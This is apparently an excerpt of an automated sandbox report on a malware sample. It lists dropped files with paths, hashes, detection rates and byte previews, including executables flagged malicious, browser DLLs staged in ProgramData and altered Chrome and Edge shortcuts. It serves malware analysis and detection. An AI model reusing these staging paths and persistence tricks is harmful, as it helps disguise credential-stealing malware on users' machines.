SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJKKKJJJKJKF\msvcp140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\katC73D.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\KJKKKJJJKJKF\nss3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\katC73D.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJKKKJJJKJKF\softokn3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\katC73D.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJKKKJJJKJKF\vcruntime140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\katC73D.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\LTKMYBSEYZ.docx

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687722658485212
Encrypted:	false
SSDEEP:	24:gTVIxDsK0PxMQbXpEHH8+976o9VWmCUGGFT3IIU8wyG33bu3jUn:gZIxDW5lj02otC1G5IIUF/n
MD5:	9A59DF7A478E34FB1DD60514E5C85366
SHA1:	DE10B95426671A161E37E5CE1AD6424AB3C07D98
SHA-256:	582393A08E0952F43A544A991772B088CC77CE584F8844DE6C5246BA36E703D5
SHA-512:	70B4673D358E097AB2B75633A64A19C16E1422C81B6B198D81BF17B7609BFB4ACF5DE36228FF3884C5B9BA0A15E13F56C94968E5136B497C826F3D201A971B00
Malicious:	false
Reputation:	unknown
Preview:	LTKMYBSEYZYLWBDLQYQSGHCEKOMUGSMOJLJVFHAICZAEQCNCBEGUYSPUJHNJSDQTVUPUFCNWSVXGWFVWMFIWRQGVLGYUUBXDZXYJMKPAQTJLYUZTWHPYSRLPQBTKDHEWTTWLDXITQQAGNHQLMCYZCGICKEHUUXVCXHMYJQQYOQIXMRPWDNHFRXHXUHBSJQQHJNETRHWEBONEJBHTDQQNCEMAEDULTTSDIGDGEYCFSHOYFMDRTHCJKCFEFLMLVJNHUTISDTYYKQXVYELRXTCPVMTHGMXSDMUSFEPIIFBHCRRCGWXNWEXQGIUUAYBLCIBZGCXXZYYFPOIAUUAZEORINBBTOZEUXMAZYFVDWGLZZHOHNZHSEJYZULRNGAFKDQXEYHMJWAZXCTSLOIDSVWCDDAJVQOZRXWVWCMYQCKXRQMOHVCMJHXERQTMBGRETHKBIQULAPJVABDGMJDULEZZHMATXEUVKGXGGFBUQPNFRZOPVDFONCFHWZHXDJQQLBBLRNEDPABSGIFBWEQTJAGKFRSLLFIXBIADJYQFXLIYTRHHMHAEDZRJJZZSOCKJNBHWWZEZXGEEJOALVQSBDQTYEHCQVMQMBKNHLBFIRUKLCVRFKGJWGONQGFFIPLGGCUDTZOLCUDDOARJHBVHHRZEYWWKNFEXBVKDTVKTGDMSUOSIIJKKXODRUCUDQHPOJRJZICJUGIDYTFJNVOJIFAVDFPGFTUQFDWLLALACJUWFIKJDQRZQVIIULGPKDOEMRGWVXSLFQHDVZJLHRKVFDXZZCYMKQTRZIBEAHUAXZFKIOBFQACDYLWSHXGVQBAYTXLOISPDOUTEJPQXZNCWCWFKRYQGOEIQEKGUMTCROZMZMVLTCMMBZZHLSYRTDCWSSQEKPTOUQZYPJDCZQTZSHURDOLLYIYFPIECQEHEYPDXHDRIYSOEILWHEODCIXNORCUDGORDQCYVQHNTVIZVMIQLRODCUBWDVZCRJJNXNJQMHPXE

C:\ProgramData\MPGPH131\MPGPH131.exe

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3147776
Entropy (8bit):	7.992268418625357
Encrypted:	true
SSDEEP:	98304:ZI6EwkP9homUo618SS3qKhINbwvlQv38Gp3GR:q6EwU9E8RaKhI6yvs8+
MD5:	A032B8D3908C0282D9ACB8647CEC1765
SHA1:	B362D15E7CB64808F6BEDE1E656A7622877A05DE
SHA-256:	5B17A625237D0ED8738C793EB8D9E9E8CBE4CEFF92CFAC515BECE76BA9341591
SHA-512:	B6DD57C3DCDD4A1BEFBD332D0B82C70555A49E60DA4DFA4A4A220E35B89E001520ABB20F311C4993A53A78179A83BF47E68ED0DE68631A6AB44F43358FCBFC61
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......j.....s...s...s.e.p.%.s.e.v...s.e.t./.s..y..*.s..yw.=.s..yp.4.s..yv.u.s.e.w.6.s.e.u./.s.e.r.5.s...r...s..zz.2.s..z../.s..../.s..zq./.s.Rich..s.................PE..L....iLf...............'.....\|.......%............@..........................@............@... .. .... .. ..........PP......(_.......`..4...................0P...............................P.......................................................................<..................@........................@..............@............P...P.......B..............@............ ...........J..............@....................b...J..............@....rsrc.... ...`......................@..@..........y......(..................@....data.... ".. ....".................@...................................................................................................................................................

C:\ProgramData\MSIUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV168.exe

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	468480
Entropy (8bit):	7.707638639777151
Encrypted:	false
SSDEEP:	12288:8fUVPK8c9FHGovaqSdUgGe2floqIIxuSyovf4CzBIG6Dac:RK/9F1vaqbeeloqII4SHv3OG6j
MD5:	F14B083F53FEFD0071732BF5C0DCD6FA
SHA1:	661566E9131C39A1B34CABDE9A14877D9BCB3D90
SHA-256:	2A7B010296F77BC811CDB2802DC11B7DA7E486A3C7CDBB6B2783B12B828BD57D
SHA-512:	889804F0872D7882EB9160EA4B0EF7E86079006965B988BB5426F36CB2B9B354F03C411759FF74D91905EAA67B88EA5F11BE76B5F0F4F47B8AA9B53FCB9FBCDF
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......I../...\|...\|...\|..}...\|..}...\|..}...\|..}...\|...\|V..\|.l.}...\|.l.}...\|.l.}@..\|.o.}...\|.o.}...\|Rich...\|........PE..L....yOf...............'.............F............@..........................p............@.................................DY..(............................P.......?...............................>..@...............@............................text...$........................... ..`.bss................................ ..`.rdata..x...........................@..@.data...d....p.......>..............@....reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................................

C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3063296
Entropy (8bit):	7.969029503778035
Encrypted:	false
SSDEEP:	49152:wFHrEORzDqheKFQQfMtiCC8l+IruOXvoDTWAFQKn1kLiaIg1FWaaZ:OIOlO9Jqrl+opgDTWARlaL10Z
MD5:	FF620B1758C719708D6CECA3B280ABC0
SHA1:	7A13B9CBEAB951D4B6B8AEE520DCF5097534A18D
SHA-256:	C29001BBD0CDA040FF0DC0639CB01C126B2CAA96177F00703E1C82F70A74452E
SHA-512:	3DE8A3A08EECE63D324D6990E3417BE0BF00BE627FFE55280964072FEAD0468519658E193EAA72696F7562E06F45895EE68AD1EFFEB91BAA8303CF3CAC60AA43
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 54%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....iLf...............'..............-...........@...........................n...........@.................................<...,.....Y..&...................`Y.8...........................@.<......PY.@....................;.@....................text.............................. ..`.rdata..2~..........................@..@.data...0I...P......................@....vmp...).......................... ..`.vmp.............................@....vmp....w....*..x.................. ..`.reloc..8....`Y.....................@..@.rsrc....&....Y.. ..................@..@................................................................................................................................................................................................................................................................................................................

C:\ProgramData\MSIUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV202.exe

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	468480
Entropy (8bit):	7.707638639777151
Encrypted:	false
SSDEEP:	12288:8fUVPK8c9FHGovaqSdUgGe2floqIIxuSyovf4CzBIG6Dac:RK/9F1vaqbeeloqII4SHv3OG6j
MD5:	F14B083F53FEFD0071732BF5C0DCD6FA
SHA1:	661566E9131C39A1B34CABDE9A14877D9BCB3D90
SHA-256:	2A7B010296F77BC811CDB2802DC11B7DA7E486A3C7CDBB6B2783B12B828BD57D
SHA-512:	889804F0872D7882EB9160EA4B0EF7E86079006965B988BB5426F36CB2B9B354F03C411759FF74D91905EAA67B88EA5F11BE76B5F0F4F47B8AA9B53FCB9FBCDF
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......I../...\|...\|...\|..}...\|..}...\|..}...\|..}...\|...\|V..\|.l.}...\|.l.}...\|.l.}@..\|.o.}...\|.o.}...\|Rich...\|........PE..L....yOf...............'.............F............@..........................p............@.................................DY..(............................P.......?...............................>..@...............@............................text...$........................... ..`.bss................................ ..`.rdata..x...........................@..@.data...d....p.......>..............@....reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073530215204208
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvr9:KooCEYhgYEL0In
MD5:	8F26CBA6944E198AE2E0DF6F6B138F5B
SHA1:	EC5F5D3BEDE629AF6A19CF0D4A8FF8D27D27E228
SHA-256:	8F4CC455B75D17C48C1FF5C4A090AF897E39E4A1993FFFE38A46113388683F92
SHA-512:	100AA0268050A21DC68FBBCE56CC498D5E0A9747681182580F6CC109D32FD3D7DF23186DCB96F83AB6147BC0A366A3A868E318FD63F47F19DBAA66DD0BC09C2D
Malicious:	false
Reputation:	unknown
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xf5b4a6bc, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221630023851218
Encrypted:	false
SSDEEP:	1536:RSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Raza/vMUM2Uvz7DO
MD5:	B5FA5A05D2A54219593CA8517B379571
SHA1:	94D651A2904281128CB8BCE3E051A1660C7234C0
SHA-256:	B07CBC4C3010F677191E9E80CBF411A6611ABBB43456DBACFEA4E2EFFB11D084
SHA-512:	FD4559E085230040ABB308E2D7BBE3125708B347CED28476B467F877DFE2EE6EBD9FCA3542D52968E8822E0259F565CC9658E953BE42BF4849619AB2D2F084B7
Malicious:	false
Reputation:	unknown
Preview:	....... .......A.......X\...;...{......................0.!..........{A.#...\|..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{...................................vMj#...\|..................\...#*...\|...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07748090357796628
Encrypted:	false
SSDEEP:	3:qP8YexaCZs5Cjn13a/A+PftollcVO/lnlZMxZNQl:9zxHZsk53qAxOewk
MD5:	05E22C3B43017BD49156F7E331E274EF
SHA1:	0465622E045FF50AFE41F151D701BCEA9F380C1F
SHA-256:	3299452580F6B4E1A54B64B530B4DF0B4328C3D434756181FDC9CA1D23FE224C
SHA-512:	1DC03D291E0C3317CF0DC69E7E2D4D7B72AB7B50536F30A8B765EE73D054FE90647066A47D3662560222196C269B13F202419AE8D3FF8237AB23BE5EC8350DE6
Malicious:	false
Reputation:	unknown
Preview:	om.......................................;...{..#...\|.......{A..............{A......{A..........{A]................\...#...\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:41 2023, mtime=Wed Oct 4 11:02:17 2023, atime=Wed Sep 27 04:28:27 2023, length=3242272, window=hide
Category:	dropped
Size (bytes):	2220
Entropy (8bit):	3.509897168349263
Encrypted:	false
SSDEEP:	48:8SndZTzoRGRYrnvVdAKRkdA5q+9Jq87dAKRFdAKR/U:8Svw1
MD5:	A35FDD40120F8769B98BF7E1EDE023C0
SHA1:	979C16752A696444F4F7854E1F18C8BC4B1E6286
SHA-256:	A34FA17D19AD393A7727EFEDDFF952F3D49E9FA81120226591ADD187D6F98D18
SHA-512:	307EC70AAD5E6CD794F2C4176F693ACDADE185BAC5A03CC1219346D3E8CC79A61141A148476023F95E1DC25F9E85691455EE980A8A362A9B50DF971737CBD27F
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ......,.....K.........q.... y1.....................#....P.O. .:i.....+00.../C:\.....................1.....DW.V..PROGRA~1..t......O.IDW.V....B...............J.....i...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VDW.W....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VDW(W....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VDW.V..........................."&.A.p.p.l.i.c.a.t.i.o.n.....`.2. y1.;W.+ .chrome.exe..F......CW.VDWI`..........................,.6.c.h.r.o.m.e...e.x.e.......d...............-.......c............F.......C:\Program Files\Google\Chrome\Application\chrome.exe....A.c.c.e.s.s. .t.h.e. .I.n.t.e.r.n.e.t.A.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.?. .-.-.l.o.a.d.-

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Edge.lnk

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Thu Aug 5 21:41:46 2021, mtime=Tue Oct 3 11:10:59 2023, atime=Fri Sep 29 11:17:35 2023, length=4210216, window=hide
Category:	modified
Size (bytes):	2566
Entropy (8bit):	3.68716965568835
Encrypted:	false
SSDEEP:	48:8sQJG+dOSzrhs+frnzldRdJq+9Jq5dLXuHj0PkFmq4:8G2hIuD0Pkkq
MD5:	92EB75E728257031E47B78570EDFE928
SHA1:	D57EB43B2056B2FDB2A1914A628F63F39394AC0A
SHA-256:	39772088031D463517F9E314BB615F0CBD3661C886414F2B68C163E38E2F09F6
SHA-512:	2F755ABCB87CE7FE66CA388942536BDFCFD2F8B9508614381B9B3B4DFA29EB75132021D2C3CEB92B31DCD24408274B3BE04C05F557707D4A7924CAB09C903BAF
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. .....\|.K....f......?......(>@.....................1....P.O. .:i.....+00.../C:\.....................1.....CWSa..PROGRA~2.........O.ICWSa....................V.......:.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.)...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.7.....\.1.....CW.`..MICROS~1..D......(Ux.CW.`..........................6\|..M.i.c.r.o.s.o.f.t.....N.1.....CW\a0.Edge..:.......S8.CW\a...........................AI.E.d.g.e.....`.1.....CW`a0.APPLIC~1..H.......S8.CW`a..........................r.N.A.p.p.l.i.c.a.t.i.o.n.....`.2.(>@.=W2b .msedge.exe..F.......S8.CW`a....u.......................q.m.s.e.d.g.e...e.x.e.......k...............-.......j............F.......C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe....B.r.o.w.s.e. .t.h.e. .w.e.b.H.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.1.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2044.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	85626
Entropy (8bit):	3.0467842769836544
Encrypted:	false
SSDEEP:	1536:Ltt9WkNzpUIpvGBPJVRkEn0Nw/b7VTna0o9NnX+t+L+m+5o+E+rv9+L+s+5+p+AY:Ltt9WkNzpUIpvGBPJVRkEn0Nw/b7VTnB
MD5:	2CFAB09E67BADFA6EB7040ABDA01D0DB
SHA1:	6F39FDBCB6F73262DDA20BF60474F5D0F4833D8F
SHA-256:	471564B92AD768EBD8EE2B5DF0C38E523B06ED1BA0C851C9342D50083A15FD67
SHA-512:	63D91AAF0A7A90897F35C55A7003D564A9235B3A2D5636B186B18F60F70402CDDF05C593715A47826119C8C34FE92360A886D8BF9E39334284C7C085D4BF593C
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2100.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	85648
Entropy (8bit):	3.0466427749188965
Encrypted:	false
SSDEEP:	1536:2kt9WVZpUIhGGVPJVWkEn02w/m7VTna0o9NnX+t+L+m+5o+E+rv9+L+s+5+p+Avo:2kt9WVZpUIhGGVPJVWkEn02w/m7VTnai
MD5:	A54BB8B120CACA0F23C92BC841EEFBD2
SHA1:	483640B3E9134042DFD7AB1B838E1BDEF3697BB4
SHA-256:	3D07B53AD7313EF193E6A33FAE71BF4092B6322D158C9E8538B666437E4B4744
SHA-512:	6C26420C99A0EFCCB036E6E64CD37A984562E0EE339928C3BCEEB5A82C0FD64DDE52FD06F7B7F2368BCD32AAC7867656E66A21051430589A6FC6970372B74568
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2130.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.7018111019488313
Encrypted:	false
SSDEEP:	96:TiZYW+HEMkCYGYAKiIK6XHvYEZ8YtKiwW3fW8Bw5Kz6qaaza2MnRhIi01o:2ZD+jxXlxeaazLMnRef1o
MD5:	416859558BEC96C3CD1B6DD7C442996C
